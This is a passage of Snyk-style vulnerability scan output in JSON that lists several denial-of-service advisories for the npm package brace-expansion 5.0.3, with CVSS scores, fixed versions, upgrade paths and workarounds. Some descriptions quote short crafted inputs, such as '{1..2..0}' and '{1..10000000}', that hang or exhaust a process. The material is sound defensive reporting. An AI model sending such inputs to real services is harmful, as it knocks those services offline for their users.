"brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": 